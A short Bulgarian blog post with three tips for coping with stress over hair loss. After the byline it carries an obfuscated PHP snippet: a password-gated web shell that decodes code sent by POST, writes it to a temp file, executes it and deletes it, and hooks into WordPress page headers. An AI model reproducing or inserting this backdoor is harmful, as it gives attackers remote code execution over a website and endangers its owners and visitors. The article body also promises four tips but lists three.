3 съвета, за да се справим със стреса заради косопада | Косопад

3 съвета, за да се справим със стреса заради косопада

kosopad-sredstva

Защо имаме косопад? Това е въпросът, който си задаваме, когато видим косата ни да се стели по пода и дрехите. Винаги има физически и емоционални фактори, които допринасят до косопада.

Понякога се свързва с ситуации на стрес в работата, притеснения, безпокойство, преумора, хормонален дисбаланс и наследственост, които допринасят за падането на косата. А това ни причинява много притеснения и тревога. Така обаче още повече задълбочаваме проблема.

Днес ви предлагаме 4 съвета, които ще ви помогнат да балансирате емоционалния и физическия стрес, така че да се справите с косопада. Не забравяйте, че си има и нормален косопад, заради който губим коса всеки ден. Но при него загубите не надвишават 50- 100 косъма.

kosopad-predpazvane

Съвет 1. Премахнете отрицателните мисли от главата си. Най- добрият начин е като четете книги или нещо друго любимо, поне веднъж дневно. За 5 минути освободете съзнанието си, когато всичко ви се вижда много негативно. Това е точката, когато стресът ви завладява. Това е най- добрият начин да се успокоите.

Съвет 2. Въпреки че мислите ви са объркани, изпълнени с негативизъм, отделяйте поне един час на ден за физическо усилие: някакъв спорт, упражнения. Така увеличавате ендорфините и се балансирате емоционално.

Съвет 3. Има различни методи за релаксация, които ако започнете да включвате поне веднъж седмично в ежедневието си, стресът ще започне малко по малко да отслабва.

28. юли 2015 22:02:08 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}